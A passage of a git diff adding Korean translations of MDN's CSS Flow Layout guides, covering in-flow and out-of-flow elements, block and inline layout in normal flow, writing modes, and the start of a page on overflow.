+  - 안내서
+  - 조판
+  - 중급
+translation_of: Web/CSS/CSS_Flow_Layout/In_Flow_and_Out_of_Flow
+---
+<div>{{CSSRef}}</div>
+
+<p class="summary"><a href="/ko/docs/Web/CSS/CSS_Flow_Layout/%EC%9D%BC%EB%B0%98_%ED%9D%90%EB%A6%84_%EC%86%8D_%EB%B8%94%EB%A1%9D_%EB%B0%8F_%EC%9D%B8%EB%9D%BC%EC%9D%B8_%EB%A0%88%EC%9D%B4%EC%95%84%EC%9B%83">이전 안내서</a>에서 제가 일반 대열 속 블록 및 인라인 조판에 대해 설명하였습니다. 대열에 속한 모든 요소는 이 메서드를 사용하여 배치됩니다.</p>
+
+<p>다음 예제에서는 머리글, 단락, 목록 및 <code>strong</code> 요소가 포함된 마지막 단락이 있습니다. 머리글과 단락은 블록 레벨이며, <code>strong</code> 요소는 인라인입니다. 목록은 가변상자를 사용하여 항목을 행 내부로 정렬하지만 블록 및 인라인 조판에도 참여하고 있습니다. 컨테이너는 외곽에 <code>display</code> 유형이 <code>block</code> 대열에 참여하고 있습니다.</p>
+
+<p>{{EmbedGHLiveSample("css-examples/flow/in-flow/in-flow.html", '100%', 800)}}</p>
+
+<p>요소 무리 전체는 대열에 속해 있다고 말할 수 있습니다. 에이치티엠엘 소스에 나타나는 순서대로 요소 무리들이 웹페이지에 등장합니다.</p>
+
+<h2 id="항목을_대열_밖으로_빼내기">항목을 대열 밖으로 빼내기</h2>
+
+<p>대열에 속한 모든 요소는 다음과 구분된다:</p>
+
+<ul>
+ <li>부동 항목</li>
+ <li><code>position: absolute</code> 속성이 부여된 항목 (아울러 <code>position: fixed</code> 속성이 딸린 항목도 마찬가지로 동작합니다.)</li>
+ <li>뿌리 요소(<code>html</code>)</li>
+</ul>
+
+<p>대열에서 벗어난 항목은 새로운 블록 서식 상황(BFC)를 생성하므로, 그 안에 있는 모든 것은 페이지의 나머지 부분과는 구분되는 소형 조판으로 볼 수 있다. 따라서 뿌리 요소는 우리 문서의 모든 내용에 해당하는 컨테이너이기 때문에 대열을 벗어나 있으며 당 문서에 대한 블록 서식 상황을 수립합니다.</p>
+
+<h3 id="부동_항목">부동 항목</h3>
+
+<p>이 예제에서 나는 <code>div</code>를 가지고 있고, 그 다음 두 단락을 갖고 있다. 문단에 배경색을 추가한 다음 <code>div</code> 요소를 왼쪽으로 부동시켰다. 이제 <code>div</code>는 대열에서 벗어났다.</p>
+
+<p>부동체는 우선 일반 대열에 속했던 애초의 위치를 기준으로 배치되었고, 그 뒤 대열에서 벗어나 최대한 왼쪽으로 이동합니다.</p>
+
+<p>{{EmbedGHLiveSample("css-examples/flow/in-flow/float.html", '100%', 800)}}</p>
+
+<p>여러분은 부동체 밑에 펼쳐지고 있는 다음 단락의 배경색을 볼 수 있습니다. 동 단락의 라인 상자 무리만 부동체 주변 콘텐츠를 둘러싸는 효과를 위해 축소되었습니다. 우리 단락 형태의 상자는 여전히 일반 대열이라는 규칙에 따라 표시되고 있습니다. 바로 그런 까닭에 부동 항목 주위에 공간을 만들려면 동 항목에 여백을 추가해서 그 여백으로부터 라인 상자 무리를 밀려나도록 해야하는 겁니다. 대열에 속한 다음 순번 콘텐츠에는 그 어떤 것을 적용한다고 해도 그런 효과를 달성할 수 없습니다.</p>
+
+<h3 id="절대_위치잡기">절대 위치잡기</h3>
+
+<p>어떤 항목에 <code>position: absolute</code>나 <code>position: fixed</code>를 부여하면 동 항목이 대열에서 제거되며, 그것이 점유하고 있던 모든 공간이 제거됩니다. 다음 예제에서 나는 세 개의 단락 요소를 가지고 있으며, 두 번째 요소는 <code>position</code>와 <code>absolute</code>임에 더해 간격띄우기 값이 <code>top: 30px</code>에 <code>right: 30px</code> 해당됩니다. 그 (두 번째) 요소는 문서 대열에서 제거되었습니다.</p>
+
+<p>{{EmbedGHLiveSample("css-examples/flow/in-flow/abspos.html", '100%', 700)}}</p>
+
+<p><code>position: fixed</code>를 사용해 대열에서 항목을 제거하지만, 간격띄우기는 컨테이너 블록이 아닌 브라우저 뷰포트가 기준입니다.</p>
+
+<p>위치잡기를 통해 대열에서 항목을 빼내면 콘텐츠의 중복 가능성을 관리해야 합니다. 대열에서 벗어나면 페이지의 다른 요소는 더 이상 요소가 존재한다는 것을 알지 못하므로 이에 반응하지 않습니다.</p>
+
+<h3 id="상대_위치잡기와_대열">상대 위치잡기와 대열</h3>
+
+<p>어떤 항목에 <code>position: relative</code> 위치잡기를 부여하면 그것은 대열에 잔류하지만, 당신은 간격띄우기 값을 사용하여 동 항목을 주변으로 밀어낼 수 있습니다. 그러나 아래 예제에서 볼 수 있듯이 그것이 일반 대열 위치에 그대로 남아 있게 됩니다.</p>
+
+<p>{{EmbedGHLiveSample("css-examples/flow/in-flow/relative.html", '100%', 800)}}</p>
+
+<p>일반 대열에 속해 있었던 어떤 항목을 제거하거나 이동할 때, 해당 항목 주변의 콘텐츠를 겹치지 않도록 관리해야 할 필요성이 있다는 것을 예상할 수밖에 없을 겁니다. 말하자면 부동체를 정리하거나 <code>position: absolute</code>가 적용된 요소가 여타 콘텐츠에 올라타지 않도록 담보해야 합니다. 이러한 이유로 요소 무리를 대열 속에서 제거하는 메서드는 그들 메서드가 가져올 영향을 파악한 상태에서 사용되어야 합니다.</p>
+
+<h2 id="요약정리">요약정리</h2>
+
+<p>이번 안내서에서는 매우 구체적인 유형의 위치잡기를 달성하기 위해 요소를 일반 대열에서 빼내는 여러 방법을 다루었습니다. 다음 안내서에서는 <a href="/ko/docs/Web/CSS/CSS_Flow_Layout/Formatting_Contexts_Explained">서식 상황 해설</a> 가운데에서 <a href="/ko/docs/Web/Guide/CSS/Block_formatting_context">블록 서식 상황</a>을 생성하는 등의 관련 이슈를 살펴볼 겁니다.</p>
+
+<h2 id="참조_항목">참조 항목</h2>
+
+<ul>
+ <li>서식 학습하기: <em><a href="/ko/docs/Learn/CSS/CSS_layout/%EC%9C%84%EC%B9%98%EC%9E%A1%EA%B8%B0">위치잡기</a></em></li>
+</ul>
diff --git a/files/ko/web/css/css_flow_layout/일반_흐름_속_블록_및_인라인_레이아웃/index.html b/files/ko/web/css/css_flow_layout/일반_흐름_속_블록_및_인라인_레이아웃/index.html
new file mode 100644
index 0000000000..cc7753cb70
--- /dev/null
+++ b/files/ko/web/css/css_flow_layout/일반_흐름_속_블록_및_인라인_레이아웃/index.html
@@ -0,0 +1,122 @@
+---
+title: 일반 대열 속 블록 및 인라인 조판
+slug: Web/CSS/CSS_Flow_Layout/일반_흐름_속_블록_및_인라인_레이아웃
+tags:
+  - 대열
+  - 씨에스에스
+  - 씨에스에스 대열 조판
+  - 안내서
+  - 여백
+  - 조판
+  - 중급
+translation_of: Web/CSS/CSS_Flow_Layout/Block_and_Inline_Layout_in_Normal_Flow
+---
+<div>{{CSSRef}}</div>
+
+<p class="summary">이번 안내서에서는 블록 및 인라인 요소가 일반 대열의 일부일 때 어떻게 동작하는지에 대한 기본 사항을 살펴본다.</p>
+
+<p>일반 대열은 <a href="https://www.w3.org/TR/CSS2/visuren.html#normal-flow">씨에스에스 2.1규격</a>에 정의되어 있으며, 이는 일반 대열에 소속된 상자가<em> 서식 상황</em>의 일부가 된다는 것을 설명한다. 그 상자는 블록 또는 인라인이 될 수 있지만 동시에 양수겸장이 될 수는 없다. 블록 수준 상자는 <em>블록 서식 상황</em>에 참여하는 것으로, 인라인 수준 상자는 <em>인라인 서식 상황</em>에 참여하는 것으로 기술한다.</p>
+
+<p>블록 또는 인라인 서식 상황에 해당하는 요소의 동작은 이(CSS2.1) 규격에서 정의한다. 블록 형식 상황에 해당하는 요소의 경우 규격은 다음과 같다:</p>
+
+<blockquote>
+<p>블록 서식 상황에서 상자는 컨테이너 블록의 맨 위에서 시작하여 수직으로 하나씩 배치된다. 두 형제(동급) 상자 사이 수직 간격은 '여백' 속성에 의해 결정된다. 블록 서식 상황에 속하는 인접하는 블록 수준 상자 사이 수직 여백은 축소된다.<br>
+ 블록 서식 지정 상황에 속하는 각 상자의 왼쪽 바깥족 가장자리는 콘테이너 블록의 왼쪽 가장자리를 접한다. (오른쪽에서 왼쪽[아랍어] 방향 서식의 경우는 우측 가장자리를 접한다.)" - 9.4.1</p>
+</blockquote>
+
+<p>인라인 서식 상황에 해당하는 요소의 경우:</p>
+
+<blockquote>
+<p>인라인 서식 상황에서 상자는 콘테이너 블록의 상단에서 하나씩 차례로 수평으로 배치된다. 이 상자들 사이 수평 여백, 테두리 및 패딩은 준수된다. 상자는 다양한 방법으로 수직으로 정렬될 수 있다. 상자의 하단이나 상단에 맞춰 정렬되거나 텍스트의 기준선에 맞춰 정렬될 수 있다. 라인 형태를 띠는 여러 상자를 가두는 직사각형 영역을 라인 상자라고 한다. "- 9.4.2</p>
+</blockquote>
+
+<p>씨에스에스 2.1 규격은 문서를 가로쓰기와 세로 쓰기 모드로 기술하고 있다. 예를 들어 블록 상자 사이의 수직 거리를 기술한다. 블록 및 인라인 요소의 동작 방식은 세로 쓰기 모드에서 동작할 때와 동일하다. 앞으로 게시될 대열 조판과 쓰기 모드에 관한 안내서에서 세로 쓰기 모드의 경우를 살펴볼 예정이다.</p>
+
+<h2 id="블록_서식_상황에_참여하는_요소">블록 서식 상황에 참여하는 요소</h2>
+
+<p>영어와 같은 가로쓰기 모드에서 블록 요소는 수직으로 다른 대상 요소 바로 밑에 배치된다.</p>
+
+<p><img alt="" src="https://mdn.mozillademos.org/files/16125/mdn-horizontal.png" style="height: 382px; width: 521px;"></p>
+
+<p>세로 쓰기 모드에서는 수평으로 배치된다.</p>
+
+<p><img alt="" src="https://mdn.mozillademos.org/files/16126/mdn-vertical.png" style="height: 382px; width: 418px;"></p>
+
+<p>이 안내서에서 우리는 영어로 작업할 것이기 때문에 가로쓰기 모드를 다룬다. 그러나 기술된 내용 전체는 세로 쓰기 모드에서도 당연히 동일한 방식으로 작동한다.</p>
+
+<p>씨에스에스 규격에 정의된 대로 2개의 블록 상자 사이 여백이 바로 상자 요소 사이를 구분해주는 것이다. 우리는 그점을 눈으로 확인하기 위해 2개의 단락으로 매우 간단한 하나의 조판에 테두리를 추가했다. 기본 브라우저의 스타일시트는 상하 요소에 여백을 더하는 방식으로 단락 사이 간격을 추가한다.</p>
+
+<p>{{EmbedGHLiveSample("css-examples/flow/block-inline/normal-flow.html", '100%', 700)}}</p>
+
+<p>단락 요소의 여백을 <code>0</code>으로 설정하면, 테두리는 접촉한다.</p>
+
+<p>{{EmbedGHLiveSample("css-examples/flow/block-inline/normal-flow-margin-zero.html", '100%', 700)}}</p>
+
+<p>기본 설정에 따라 블록 요소는 인라인 방향에 포함된 모든 빈공간을 차지하므로 당해 단락은 펼쳐지면서 콘테이너 블록 내부를 최대한 차지할 수 있게 된다. 블록 너비를 적시하게 되면 옆 공간에 나란히 배치될 공간이 있다손치더라도 다른 대상 요소 바로 밑에 배치된다. 각 블록은 콘테이너 블록의 시작 가장자리에 맞춰 시작되며, 그 위치에 맞춰 해당 쓰기 모드에 포함되는 문장이 시작된다.</p>
+
+<p>{{EmbedGHLiveSample("css-examples/flow/block-inline/normal-flow-width.html", '100%', 700)}}</p>
+
+<h3 id="여백_축소">여백 축소</h3>
+
+<p>씨에스에스 규격에 따라 블록 요소 사이의 여백이 <em>축소</em>된다. 즉, 하단 여백이 있는 요소 바로 뒤에 상단 여백을 가진 요소가 있으면 두 여백의 합이 전체 공간이 되는게 아니라 여백이 축소되는데, 본질적으로 두 여백 중 더 큰 것으로 갈음한다.</p>
+
+<p>아래의 예에 포함된 단락들은 <code>20px</code>의 상부 여백과 <code>40px</code>의 하부 여백을 갖고 있다. 단락 사이 여백의 크기는 <code>40px</code>이다. 왜냐면 두번째 단락의 상대적으로 작은 상부 여백이 첫번째 단락의 상대적으로 큰 하부 여백에 맞춰 축소되었기 때문이다.</p>
+
+<p>{{EmbedGHLiveSample("css-examples/flow/block-inline/normal-flow-collapsing.html", '100%', 500)}}</p>
+
+<p>여백 축소에 관해선 <a href="/en-US/docs/Web/CSS/CSS_Box_Model/Mastering_margin_collapsing">여백 축소 정복 </a>안내서에서 자세한 내용을 파악할 수 있다.</p>
+
+<div class="note">
+<p>참고: 여백의 축소 여부가 불확실할 경우 브라우저 개발툴에 나오는 상자 모델 값을 확인하십시오. 이렇게 하면 현재 일어나고 일을 파악하는 데 도움이 될 수 있는 실제 여백 크기를 알 수 있습니다.</p>
+
+<p><img alt="" src="https://mdn.mozillademos.org/files/16124/box-model.png" style="height: 848px; width: 828px;"></p>
+</div>
+
+<h2 id="인라인_서식_상황에_참여하는_요소">인라인 서식 상황에 참여하는 요소</h2>
+
+<p>인라인 요소는 특정 쓰기 모드에서 문장이 진행하는 방향으로 하나씩 차례대로 표시한다. 인라인 요소를 상자로 간주하지 않는 경향이 있지만 씨에스에스에 속하는 모든 요소처럼 그들도 상자로 간주된다. 이 인라인 상자들은 하나씩 차례대로 배열되어 있다. 컨테이너 블락에 상자 전체를 위한 충분한 공간이 없으면 새 줄로 넘어간다. 생성된 라인은 라인 상자라고 통용된다.</p>
+
+<p>다음 예에서는 스트롱(strong) 요소를 내부에 포함하는 단락의 형태로 생성된 세개의 인라인 상자가 있다.</p>
+
+<p>{{EmbedGHLiveSample("css-examples/flow/block-inline/inline.html", '100%', 500)}}</p>
+
+<p><code>strong</code> 요소 전후로 단어를 감싼 상자들은 무명 상자라고 하며 모든 것이 상자로 둘러쳐 있음을 담보하기 위해 상자가 도입된 것이되 직접 대상화할 수 없는 요소이다.</p>
+
+<p>블록 방향의 라인 상자의 크기는(영어 단락 작업시 글 높이의 경우)는 내부에 있는 가장 큰 상자에 의해 정의된다. 다음 예에서 나는 스트롱 요소의 크기를 300%로 만들었고, 이제 그 콘텐츠가 해당 선상의 라인 상자 높이를 정의한다.</p>
+
+<p>{{EmbedGHLiveSample("css-examples/flow/block-inline/line-box.html", '100%', 500)}}</p>
+
+<p>블락과 인라인 상자의 동작 방식에 대해 자세한 내용은 <a href="/ko/docs/Web/Guide/CSS/Visual_formatting_model">시각적 서식 모델</a> 안내서를 찾아보십시요.</p>
+
+<h2 id="display속성_및_대열_조판"><code>display</code>속성 및 대열 조판</h2>
+
+<p>씨에스에스 2.1에 존재하는 규칙 외에도 새로운 수준의 씨에스에스는 블록 및 인라인 상자의 동작을 추가로 기술한다. <code>display</code> 속성은 상자와 상자 속 상자의 동작 방법을 정의한다. 씨에스에스 디스플레이 모델 수준 3 내용을 보면 디스플레이 속성이 상자의 동작과 생성된 상자에 변화를 주는 방법에 대해 더 자세히 알 수 있다.</p>
+
+<p>요소의 디스플레이 유형은 외부 디스플레이 유형을 정의하며, 이 외부 디스플레이 유형은 상자가 동일 서식 상황에 속한 다른 요소와 어떻게 병행 표시되는지를 지정한다. 또한, (씨에스에스 디스플레이 모델 수준 3을 보면) 이 요소 내부에 속한 상자가 작동하는 방식을 지정하는 내부 디스플레이 유형도 정의한다. 이런 내용은 가변(flex) 조판를 고려할 때 명확하게 확인할 수 있다. 아래 예제에서 나에게 <code>display: flex</code>를 적용한 div 요소 하나가 있다. 가변 컨테이너는 블록 요소처럼 동작한다. 새 줄에 표시되고 인라인 진행 방향에서 차지할 수 있는 모든 공간을을 차지한다. 이것은 <code>block</code>의 외부 디스플레이 유형이다.</p>
+
+<p>그러나 가변 항목("Flex Item" 문자열 2개)은 가변 서식 상황에 참여하고 있다. 왜냐면 부모(class container)가 display: flex가 지정된 요소이고, 따라서 (상속에 의해) 내부 디스플레이 유형이 가변이므로 직계 자식의 경우 가변 서식 상황이 수립된다.</p>
+
+<p>{{EmbedGHLiveSample("css-examples/flow/block-inline/flex.html", '100%', 500)}}</p>
+
+<p>따라서 씨에스에스에 포함된 모든 상자가 이런 식으로 작동한다고 간주할 수 있다. 상자 자체는 외부 디스플레이 유형도 갖고있기 때문에 다른 상자와 병행 동작하는 방법을 알고 있다. 그리고 상자는 내부 디스플레이 유형도 갖고있어 자식의 동작 방식도 변경한다. 이어 해당 자식은 외부 및 내부 디스플레이 유형도 갖게된다. 앞 예제에서 가변 항목("Flex Item" 문자열 2개)은 가변 수준 상자가 되며, 따라서 그것의 외부 디스플레이 유형은 그것들이 가변 서식 상황의 일부가 되는 방식에 의해 결정된다. 그들 항목은 <em>대열</em> 디스플레이 유형을 갖게 되는데, 그 의미는 자식이 일반 대열에 참여한다는 것을 의미한다. 당해 가변 항목 내부에 중첩된 항목('children' 'are in' 'normal flow')은 디스플레이 유형이 바뀌지 않는한 블록 및 인라인 요소로 배치된다.</p>
+
+<p>외부 및 내부 디스플레이 유형이란 개념은 Flexbox(<code>display: flex</code>)와 Grid Layout(<code>display: grid</code>)과 같은 조판 메서드를 사용하는 컨테이너가 해당 메서드의 외부 디스플레이 유형이 <code>block</code>인 관계로 블록 및 인라인 조판에 계속해서 참여하고 있다는 것을 알려준다는 점에서 중요하다.</p>
+
+<h3 id="하나의_요소가_참여하는_대상의_서식_상황_변경">하나의 요소가 참여하는 대상의 서식 상황 변경</h3>
+
+<p>브라우저는 해당 요소의 통상적 타당성 여하에 따라 항목을 블록 또는 인라인 서식 맥락의 일부로 표시한다. 예들들면 단어를 강조를 강조하기 위해 스트롱 요소를 사용하며, 브라우저에 굵게 표시됩니다. 스트롱 요소가 블록 수준 요소로 표시되어 새 줄로 밀려나는 것은 일반적으로 타당하지 않다. 당신이 모든 스트롱 요소를 블록 요소로 표시하기를 원하면 당신은 <code>strong</code> 요소에 <code>display: block</code>를 설정함으로써 그렇게 할 수 있다. 즉, 항상 가장 의미론적으로 타당한 HTML 요소를 사용하여 콘텐츠를 표시한 다음 씨에스에스를 사용하여 표시되는 방식을 변경할 수 있다.</p>
+
+<p>{{EmbedGHLiveSample("css-examples/flow/block-inline/change-formatting.html", '100%', 500)}}</p>
+
+<h2 id="요약정리">요약정리</h2>
+
+<p>이번 안내서에서 우리는 블록 요소나 인라인 요소일 경우처럼 일반 대열속에서 요소가 어떻게 표시되는지 살펴보았다. 이러한 요소에 정해진 기본 동작이 있는 관계로 씨에스에스 스타일 지정이 전혀 없는 에이치티엠엘 문서가 읽기 가능한 방식으로 표시된다. 일반 대열의 작동 방식을 이해하면 조판이 더 쉬워지는 데 그 이유는 요소가 표시되는 방식을 변경하는 출발점을 이해하는 것이기 때문이다.</p>
+
+<h2 id="참조_항목">참조 항목</h2>
+
+<ul>
+ <li><a href="/ko/docs/Web/CSS/CSS_Box_Model">씨에스에스 기본 상자 모델</a></li>
+ <li><em><a href="/ko/docs/Learn/CSS/CSS_layout/일반_흐름">일반 대열</a></em> - 조판 살펴보기</li>
+ <li><a href="/ko/docs/Web/HTML/Inline_elements">인라인 요소</a></li>
+ <li><a href="/ko/docs/Web/HTML/Block-level_elements">블락 수준 요소</a></li>
+</ul>
diff --git a/files/ko/web/css/css_flow_layout/흐름_레이아웃과_쓰기_모드/index.html b/files/ko/web/css/css_flow_layout/흐름_레이아웃과_쓰기_모드/index.html
new file mode 100644
index 0000000000..4d35855ee5
--- /dev/null
+++ b/files/ko/web/css/css_flow_layout/흐름_레이아웃과_쓰기_모드/index.html
@@ -0,0 +1,92 @@
+---
+title: 대열 조판과 쓰기 모드
+slug: Web/CSS/CSS_Flow_Layout/흐름_레이아웃과_쓰기_모드
+tags:
+  - 대열 조판
+  - 쓰기모드
+  - 씨에스에스
+  - 안내서
+  - 지향
+translation_of: Web/CSS/CSS_Flow_Layout/Flow_Layout_and_Writing_Modes
+---
+<p class="summary">어떻게 일반 대열이 동작하는지 자세히 설명하는 씨에스에스 2.1 규격은 가로쓰기 모드라고 가정한다. <a href="/ko/docs/Web/CSS/CSS_Flow_Layout/일반_대열_속_블록_및_인라인_조판">조판</a> 속성은 세로 쓰기 모드에서 동일한 방식으로 작동해야 한다. 이 안내서는 서로 다른 문서 작성 모드에서 사용될 때 대열 조판이 어떻게 작동하는지 살펴 봅니다.</p>
+
+<p>이것은 씨에스에스(CSS)에 포함된 쓰기 모드 사용에 대한 종합적인 안내서가 아니다. 이 글의 목적은 대열 조판이 쓰기 모드와 예상치 못한 방식으로 상호 작용하는 지점을 문서화하는 것이다. 이 문서의 <a href="#See_Also">참조 항목</a>과 <a href="#External_Resources">외부 리소스</a> 섹션은 쓰기 모드 관련 더 많은 링크를 제공하고 있다.</p>
+
+<h2 id="쓰기_모드_규격">쓰기 모드 규격</h2>
+
+<p>씨에스에스 쓰기 모드 수준 3 규격은 문서의 쓰기 모드가 대열 조판에 미치는 영향을 정의한다. 씨에스에스 쓰기 모드 소개란에서 전하는 <a href="https://drafts.csswg.org/css-writing-modes-3/#text-flow">규격은 다음과 같다.</a></p>
+
+<blockquote>
+<p>씨에스에스에 포함되는 쓰기 모드는 {{cssxref("writing-mode")}}, {{cssxref("direction")}}, and {{cssxref("text-orientation")}} 속성에 의해 결정된다. 쓰기 모드는 주로 인라인 기준 방향과 블록 대열 방향 여하에 따라 정의된다."</p>
+</blockquote>
+
+<p>쓰기 모드 규격은 내용물이 라인에 정렬되는 방향에 따라 <em>인라인 기준 방향</em>을 정의한다. 기준 방향이 인라인 방향의 시작과 끝을 정의한다. 인라인 방향의 시작은 문장이 시작되는 곳이고, 인라인 방향의 끝은 새 줄로 넘어가기 전에 텍스트가 끝나는 곳이 끝나는 곳이다.</p>
+
+<p><em>블록 대열 방향</em>은 예로 단락의 경우처럼 블록 쓰기 모드에서 상자를 쌓는 방향이다. 씨에스에스 쓰기 모드 속성은 블록 대열 방향을 제어한다. 페이지 또는 페이지의 일부를 <code>vertical-lr</code>로 변경하고 싶다면, 대상 요소에 <code>writing-mode: vertical-lr</code>를 설정할 수 있고, 이로써 블록의 방향을 변경하는 것이고 아울러 인라인 방향도 변경된다.</p>
+
+<p>특정 언어일 경우 특정 쓰기 모드나 텍스트 방향을 사용하겠지만, 제목을 세로로 돌리는 등 창의적인 효과를 위해 그러한 속성을 사용할 수도 있다.</p>
+
+<p>{{EmbedGHLiveSample("css-examples/flow/writing-modes/creative-use.html", '100%', 720)}}</p>
+
+<h2 id="writing-mode_속성_및_블록_대열"><code>writing-mode</code> 속성 및 블록 대열</h2>
+
+<p>{{cssxref("writing-mode")}} 속성은 <code>horizontal-tb</code>과 <code>vertical-rl</code>, <code>vertical-lr</code>를 속성값으로 받는다. 이들 속성값은 페이지 상에 블록의 대열 방향을 제어한다. 초기 값은 <code>horizontal-tb,</code>로써 가로 인라인 방향이 포함된 상단에서 하단으로 가는 블록 대열 방향이다. 영어와 같이 왼쪽에서 오른쪽 방향 언어과 오른쪽에서 왼쪽 방향 언어인 아랍어의 경우든 모두가 <code>horizontal-tb</code>이다.</p>
+
+<p>다음 예는 <code>horizontal-tb</code>를 사용하는 블록을 보여준다.</p>
+
+<p>{{EmbedGHLiveSample("css-examples/flow/writing-modes/horizontal-tb.html", '100%', 720)}}</p>
+
+<p>속성값 <code>vertical-rl</code>는 다음 예와 같이 세로 인라인 방향을 포함하는 오른쪽에서 왼쪽으로 가는 블록 대열 방향을 제공한다.</p>
+
+<p>{{EmbedGHLiveSample("css-examples/flow/writing-modes/vertical-rl.html", '100%', 720)}}</p>
+
+<p>마지막 예는 <code>vertical-lr</code>로써 세번 째로 가능한 <code>writing-mode</code> 속성값을 시연하고 있다. 이렇게 하면 왼쪽에서 오른쪽 블록 대열 방향과 세로 인라인 방향을 얻을 수 있다.</p>
+
+<p>{{EmbedGHLiveSample("css-examples/flow/writing-modes/vertical-lr.html", '100%', 720)}}</p>
+
+<h2 id="부모와_다른_쓰기_모드를_가진_상자">부모와 다른 쓰기 모드를 가진 상자</h2>
+
+<p>중첩된 상자에 부모와 다른 쓰기 모드가 할당된 경우 인라인 수준 상자는 <code>display: inline-block</code>이 적용된 듯이 표시된다.</p>
+
+<p>{{EmbedGHLiveSample("css-examples/flow/writing-modes/inline-change-mode.html", '100%', 720)}}</p>
+
+<p>블록 수준 박스는 새로운 블록 서식 상황을 설정하게 되는데, 내부 디스플레이 유형이 <code>flow</code>일 경우 계산에 따른 디스플레이 유형인 <code>flow-root</code>를 얻게 된다는 뜻이다. 이것은 다음 예에서 보다시피 <code>horizontal-tb</code> 속성에 따라 표시되는 상자가 부동 요소를 포함하고 있는데, 그것이 포함된 까닭은 부모가 새로운 블록 대열 상황을 수립했기 때문이다.</p>
+
+<p>{{EmbedGHLiveSample("css-examples/flow/writing-modes/block-change-mode.html", '100%', 720)}}</p>
+
+<h2 id="대체_요소">대체 요소</h2>
+
+<p>이미지와 같은 대체 요소는 <code>writing-mode</code>에 주어진 속성에 근거하여 (가로 세로) 쓰기 방향를 바꾸지 않는다. 그러나 텍스트를 포함하는 양식 컨트롤과 같은 대체 요소는 사용중인 쓰기 모드와 일치해야 한다.</p>
+
+<p>{{EmbedGHLiveSample("css-examples/flow/writing-modes/replaced.html", '100%', 720)}}</p>
+
+<h2 id="논리적_속성_및_속성값">논리적 속성 및 속성값</h2>
+
+<p>당신이 <code>horizontal-tb</code> 이외의 쓰기 모드에서 작업하게 될 경우, 스크린의 물리적 크기에 매핑되는 많은 속성 및 속성값들이 이상하게 보일 것이다. 예를 들면 상자에 100px을 부여하면 쓰기 모드가 <code>horizontal-tb</code>일 경우에 인라인 방향의 크기(100px)를 통제하게 된다. 쓰기 모드가 <code>vertical-lr</code>일 상황에서 상자가 텍스트에 맞춰 회전하지 않기 때문에 블록 방향 크기를 상자가 제어한다.</p>
+
+<p>{{EmbedGHLiveSample("css-examples/flow/writing-modes/width.html", '100%', 720)}}</p>
+
+<p>따라서 우리에게 {{cssxref("블록 크기")}} 및 {{cssxref("인라인 크기")}}라는 새로운 속성이 주어진다. 당해 블록에 <code>inline-size</code>를 100px 부여할 경우 가로쓰기 또는 세로 쓰기 모드 여부는 상관없어지며, <code>inline-size</code>일 경우 항상 인라인 방향의 크기를 의미하게 된다.</p>
+
+<p>{{EmbedGHLiveSample("css-examples/flow/writing-modes/inline-size.html", '100%', 720)}}</p>
+
+<p><a href="/ko/docs/Web/CSS/CSS_Logical_Properties">씨에스에스 논리적 속성</a> 규격은 여백, 패딩 및 테두리를 제어하는 속성의 논리적 버전뿐만 아니라 일반적으로 물리적 방향 지정을 위해 대상 요소에 전형적으로 사용되는 다른 매핑을 포함하고 있다.</p>
+
+<h2 id="요약정리">요약정리</h2>
+
+<p>대부분의 경우, 문서의 쓰기 모드 또는 문서의 일부를 변경할 때 당신이 대상 요소에 기대하는 대로 대열 조판이 작동한다. 쓰기 모드는 세로 쓰기 언어를 올바르게 조판하거나 ​​독창적 표현을 이유로 사용할 수 있다. 씨에스에스는 세로 쓰기 모드에서 작업할 때 크기의 척도를 요소의 인라인과 블록 크기에 기초할 수 있도록 논리적 속성과 속성값을 도입하는 방식으로 간편한 설정을 가능케 해준다. 이런 내용은 다른 쓰기 모드에서 작동할 수 있는 구성 요소를 만들 경우에 유용할 것이다.</p>
+
+<h2 id="참조_항목">참조 항목</h2>
+
+<ul>
+ <li><a href="/ko/docs/Web/CSS/CSS_Writing_Modes">쓰기 모드</a></li>
+</ul>
+
+<h2 id="외부_리소스">외부 리소스</h2>
+
+<ul>
+ <li><em><a href="https://24ways.org/2016/css-writing-modes/">씨에스에스 쓰기 모드</a></em>, 젠 시몬스가 소개하는 24가지 방식</li>
+</ul>
+
+<div>{{QuickLinksWithSubpages("/ko/docs/Web/CSS/CSS_Flow_Layout/")}}</div>
diff --git a/files/ko/web/css/css_flow_layout/흐름_레이아웃과_오버플로/index.html b/files/ko/web/css/css_flow_layout/흐름_레이아웃과_오버플로/index.html
new file mode 100644
index 0000000000..697bdfacde
--- /dev/null
+++ b/files/ko/web/css/css_flow_layout/흐름_레이아웃과_오버플로/index.html
@@ -0,0 +1,73 @@
+---
+title: 대열 조판과 대열이탈
+slug: Web/CSS/CSS_Flow_Layout/흐름_레이아웃과_오버플로
+tags:
+  - 가시성
+  - 대열 조판
+  - 대열이탈
+  - 씨에스에스
+  - 안내서
+  - 조판
+  - 중급
+  - 텍스트 대열이탈
+translation_of: Web/CSS/CSS_Flow_Layout/Flow_Layout_and_Overflow
+---
+<p class="summary">컨테이너에 채울 수 없을 만큼 더 많은 내용물이 있을 때 오버플로 상황이 발생한다. CSS에서 크기 제한이 있는 요소를 다루려면 오버플로의 동작 방식을 이해하는 것이 중요하다. 이 안내서는 일반 플로우에 해당하는 작업 중에 오버플로이 작동하는 방식을 설명한다.</p>
+
+<h2 id="오버플로은_무엇인가">오버플로은 무엇인가?</h2>
+
+<p>어떤 요소에 고정 높이 및 너비를 부여한 다음, 상자에 상당한 내용물을 추가하면 기본적인 오버플로 사례가 만들어 진다.</p>
+
+<p>{{EmbedGHLiveSample("css-examples/flow/overflow/overflow.html", '100%', 700)}}</p>
+
+<p>내용물이 상자 안으로 들어간다. 상자가 채워지면, 눈에 보이게 오버플로이 계속되면서 상자 밖으로 내용물이 표시되고, 후속 내용물 아래에 표시될 가능성까지 있다. 오버플로 동작 방식을 통제하는 속성은 오버플로 속성으로 초기값은 <code>visible</code>로 되어 있다. 그런 까닭에 오버플로한 내용물를 볼 수 있다.</p>
+
+<h2 id="오버플로_통제">오버플로 통제</h2>
+
+<p>오버플로된 내용물이 동작하는 방식을 통제하는 그 밖의 값들이 있다. 오버플로된 내용물을 감추려면 <code>hidden</code> 값을 사용한다. 이 값은 내용물을 보이지 않게 만들 수도 있다.</p>
+
+<p>{{EmbedGHLiveSample("css-examples/flow/overflow/hidden.html", '100%', 700)}}</p>
+
+<p><code>scroll</code> 값을 사용해서 상자의 내용물을 상자 안에 가둬두고 내용물을 볼 수 있게 스크롤 막대를 추가할 수 있다. 스크롤 막대는 내용물이 상자에 들어맞더라도 추가될 것이다.</p>
+
+<p>{{EmbedGHLiveSample("css-examples/flow/overflow/scroll.html", '100%', 700)}}</p>
+
